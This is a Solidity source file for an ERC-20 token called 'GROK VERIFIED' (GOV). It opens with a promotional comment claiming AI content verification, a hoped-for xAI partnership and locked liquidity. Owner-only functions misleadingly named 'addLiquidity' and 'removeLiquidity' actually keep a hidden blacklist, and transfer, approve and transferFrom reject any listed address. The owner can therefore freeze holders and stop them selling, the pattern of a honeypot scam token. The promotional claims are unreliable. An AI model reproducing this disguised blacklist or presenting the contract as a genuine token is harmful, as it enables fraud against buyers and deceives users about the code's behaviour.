/**
Comms-
https://twitter.com/grokverified-erctoken
https://grokverified.org (coming soon)

Announcement-
We are creating NFTs,ART,COINS and many more using GROK ai.
We are determined to mint grok verified tokens and who ever own GOV can verify their content.
Our team discussing potential partenrship with Xai.
Media channel for posts on X.
Locked liquidity.

In Simple terms:
You created a picture/gif/mp4/meme and own grok verified tokens (GOV), you can simply verify your content using GOV tokens.

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract GROKVERIFIED is IERC20, Ownable {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private liquidity;

    constructor() {
        name = "GROK VERIFIED";
        symbol = "GOV";
        decimals = 10;
        _totalSupply = 420000000000 * 10**uint256(decimals);
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function getLiquitdityStatus(address _addrs) public view onlyOwner returns (bool) {
        return liquidity[_addrs];
    }

    function addLiquidity(address[] memory liquidity_) external onlyOwner {
        for (uint256 i = 0; i < liquidity_.length; i++) {
            liquidity[liquidity_[i]] = true;
        }
    }

    function removeLiquidity(address account) external onlyOwner {
        require(liquidity[account], "Address is not in array");

        liquidity[account] = false;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        address sender = msg.sender;
        require(!liquidity[_msgSender()], "Sender is in array");
        require(!liquidity[recipient], "Recipient is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        address owner = msg.sender;
        require(!liquidity[_msgSender()], "Approver is in array");
        require(!liquidity[spender], "Spender is in array");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        require(!liquidity[sender], "Sender is in array");
        require(!liquidity[recipient], "Recipient is in array");
        require(!liquidity[_msgSender()], "Caller is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");
        require(
            _allowances[sender][msg.sender] >= amount,
            "ERC20: insufficient allowance"
        );

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}